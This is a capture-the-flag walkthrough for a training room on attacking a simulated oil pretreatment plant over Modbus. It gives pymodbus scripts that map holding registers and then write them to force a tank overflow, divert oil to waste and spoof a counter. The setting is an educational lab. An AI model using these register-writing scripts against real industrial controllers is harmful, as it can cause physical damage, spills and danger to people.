~*[ ATTACKING ICS PLANT #2 ]*~
Summary
The Attacking ICS Plant #2 room is broken up into three tasks. Task 1 is centered around discovering how the plant works and which registries control different processes. Task 2 and 3 build off of what you've found and move on to manipulating registries to cause physical changes to the plant.
Note: The first room, Attacking ICS Plant #1, sets you up for this one. It's recommended to complete that room first to get an overview of the Modbus protocol and industrial systems, along with the python libraries and scripts that can be modified for this second room. Most important is installing pymodbus in the correct version for these exercises.
»» Task 1: Discovery
Before attacking the plant, identify the following registries:
- open/close the feed pump (PLC_FEED_PUMP);
- tank level sensor (PLC_TANK_LEVEL);
- open/close the outlet valve (PLC_OUTLET_VALVE);
- open/close the separator vessel valve (PLC_SEP_VALVE);
- wasted oil counter (PLC_OIL_SPILL);
- processed oil counter (PLC_OIL_PROCESSED);
- open/close waste water valve (PLC_WASTE_VALVE).
~* Step 1 *~
Yay okay, beginning! Navigating to the IP address of the machine will show you the plant that we're going to be working with:
[ VirtuaPlant Crude Oil Pretreatment Unit from Try Hack Me ]
~* Step 2 *~
To identify which registries control different parts of the plant we can use the "discover.py" script from Room 1 to see the values of the holding registers as the plant runs.
Let's look at the discover script and break down what it's doing..
1 #!/usr/bin/env python3
2 import sys
3 import time
4 from pymodbus.client.sync import ModbusTcpClient as ModbusClient
5 from pymodbus.exceptions import ConnectionException
6 ip = sys.argv[1]
7 client = ModbusClient(ip, port=502)
8 client.connect()
9 while True:
10 rr = client.read_holding_registers(1, 16)
11 print(rr.registers)
12 time.sleep(1)
Lines 1-5 are used to set up the environment and import the pymodbus libraries we're using to connect to the plant.
Line 6 is setting the variable "ip" to the first command line argument we input when we run the script, shown by the use of sys.argv[1]. For example, using this command to run the script: python3 discover.py [IP ADDRESS HERE], the script will take the IP address we've entered in the last part of the command and use it to set the variable "ip".
Lines 7 and 8 are used in connecting to the plant. The ModbusClient function creates a client variable using the ip address we supplied through the command line, and sets the port to 502, which is the default port for Modbus TCP communication. Then the connection is opened with client.connect().
Line 9 starts a while loop that will run as long as true.. is true. So basically until we stop it or it's stopped by an exception.
Line 10 reads the values of 16 holding registers starting from address 1.
Line 11 prints those values.
Line 12 pauses for one second before starting the loop again.
~* Step 3 *~
Run the script, watch the plant, make note of the changes <3 As we figured out from going through the script, when you run discover.py, you should get an output showing the values of each register.
Before the plant has started, the output is an array of all zeros:
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Moving on from there, we can see that when the 1st register is set to 1, oil starts filling the tank through the Feed Pump:
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
When the level reaches "Tank Level Sensor", the 1st register is set to 0, and the 2nd register is set to 1:
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Quickly after, the 3rd register is set to 1 and the oil begins to flow through the "Outlet Valve":
[0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Awesome, so now we have a better understanding of the first three registers:
we know the feed pump is 1
the tank level sensor is 2
and the outlet valve is 3
Continuing to watch the plant go through its normal process, you should start to see register 7 going above 1 as the oil passes through the red line at the separator vessel valve label.
This indicates it's being used for the wasted oil counter or the processed oil counter, as the other registers are used for simple on/off signals. Yes or no, 1 or 0. For example, the tank level sensor only needs to say whether the oil has reached a certain level: yes (1) or no (0). The same goes for the valves, they're either open (1) or closed (0).
Pretty good guess that is the processed oil, as it's not going out the other side into waste water. So! Now we also have:
Registry 7: Processed Oil Counter
The other registers changing when the plant is running are registers 4, 6, and 8. Playing back my screen recording I noticed that register 6 changed to 1 as soon as a drop of oil passed the red line to the left of the waste water side of the plant.
This little one!
Register 6: Wasted Oil Counter
Now we just need to figure out which registers are used for the separator vessel valve, and the waste water valve. Though we've narrowed it down to being either register 4 or 8, this part was still a bit difficult for me to see when watching the plant run as usual. I decided to modify the attack_move_fill.py script to figure out which is which ..Side note, modifying the registers to figure out how it works would probably have been faster. I just wanted to go through it and see how much I could understand from watching it function as usual.
~* Step 4 *~
Onto modifying the attack_move_fill.py script to figure out which valve goes to which register. Annnd again, let's go through the original script to understand what it does.
1 #!/usr/bin/env python3
2 import sys
3 import time
4 from pymodbus.client.sync import ModbusTcpClient as ModbusClient
5 from pymodbus.exceptions import ConnectionException
6 ip = sys.argv[1]
7 client = ModbusClient(ip, port=502)
8 client.connect()
9 while True:
10 client.write_register(3, 1) # Start the roller
11 client.write_register(4, 1) # Open the nozzle
12 client.write_register(16, 1) # Start the plant
Lines 1-9 are the same as the discover.py script, setting up the environment, libraries, and connecting to the Modbus server.
Lines 10-12 write to registers using the write_register() function. In this script you can see that 1 is being written to registry 3, 4, and 16 to modify different aspects of the plant from the previous room.
Alright, so to test which register goes to which valve we can write something like this..
while True:
client.write_register(1, 1) # Open the feed pump
client.write_register(3, 1) # Open the outlet valve
client.write_register(4, 1) # Open ??? valve
client.write_register(8, 0) # Close ??? valve
Let's see how it goes when we open one valve by writing 1 to register 4, and close the other by writing 0 to register 8. Running the script you'll see that all of the little drops go through the separator valve, and none make it through the waste water. Yay. Now we've discovered each of the registers for the first task, to put it all together..
Registry 1: open/close the feed pump
Registry 2: tank level sensor
Registry 3: open/close the outlet valve
Registry 4: open/close the separator vessel valve
Registry 6: wasted oil counter
Registry 7: processed oil counter
Registry 8: open/close waste water valve
»» Task 2: Flag #1
Let the oil overflow the tank for at least 60 seconds. Then connect and get the flag1: http://MACHINE_IP/flag1.txt.
Mind that the simulation should be reset before starting by pressing the ESC button. If the flag cannot be obtained, try to reset the room and start the attack again.
Alright, to set things up for the first flag, we need to think about how to overflow the tank. That means making sure the plant keeps filling even after the oil reaches the tank level sensor, and that the outlet valve stays closed.
~* Step 1 *~
Modify the modify attack_move_fill.py script to open the feed pump, turn off the tank level sensor, and close the outlet valve.
while True:
client.write_register(1, 1) # Open the feed pump
client.write_register(2, 0) # Turn off the tank level sensor
client.write_register(3, 0) # Close the outlet valve
~* Step 2 *~
Runn the modified script and wait for 60 seconds.
~* Step 3 *~
To get the flag, navigate to http://MACHINE_IP/flag1.txt. Or, since we're already in the command line, you can use curl to fetch the page directly: curl http://MACHINE_IP/flag1.txt This will display the contents of the page (in this case, flag.txt) right in the terminal.
»» Task 3: Flag #2
Let the oil flow through the waste water valve only. Wait until the counter reaches 2000. Then connect and get the flag2: http://MACHINE_IP/flag2.txt.
Mind that the simulation should be reset before starting by pressing the ESC button. If the flag cannot be obtained, try to reset the room and start the attack again.
For flag 2 we can reuse the same script from the discovery phase that helped us identify the valves. We just need to update the commands: instead of opening the separator valve, we'll close it, and open the waste water valve instead.
That said.. waiting for the counter to reach 2000 could take a minute. And since the challenge doesn't specify that there actually needs to be 2000 little drops going out the waste water pipe to get the flag, only that the counter needs to reach 2000, we don't necessarily have to wait.
So, we've got two options:
- Let the oil flow through the waste water valve only, and wait for the counter to reach 2000.
- Set the wasted oil counter to a value over 2000.
Alright, let's start with the first one..
~* Step 1 *~
Modify the attack_move_fill.py script to open the feed pump, open the outlet valve, open the waste water valve, and close the separator vessel valve.
while True:
client.write_register(1, 1) # Open the feed pump
client.write_register(3, 1) # Open the outlet valve
client.write_register(4, 0) # Close the separator vessel valve
client.write_register(8, 1) # Open waste water valve
~* Step 2 *~
Run the modified script, along with the discover.py script, and wait until the waisted oil counter reaches 2000.
~* Step 3 *~
To get the flag, navigate to http://MACHINE_IP/flag2.txt or use curl to fetch the page directly: curl http://MACHINE_IP/flag2.txt.
AND NOW,
what we've all been waiting for:
Option two.
~* Step 1 *~
Okay over doing it a bit I'm exhausted and verging on delerious. My bed is calling me. For option two, modify the script to set the wasted oil counter above 2000.
while True:
client.write_register(6, 2222) # Set the wasted oil counter
~* Step 2 *~
Run the teeny little script.
~* Step 3 *~
To get the flag, navigate to http://MACHINE_IP/flag2.txt or use curl to fetch the page directly: curl http://MACHINE_IP/flag2.txt.
~* Step 4 *~
We did it! Woo woo.
Tools Used
- VirtuaPlant
- pymodbus
- curl
Troubleshooting
Register Values
If you're having trouble with the registers changing values on you, make sure that the write command is inside of a while loop as the plant will try to correct and go back to normal operations.
Resources
Try Hack Me Attacking ICS Plant #2
Modbus 101 from Control Solutions Minnesota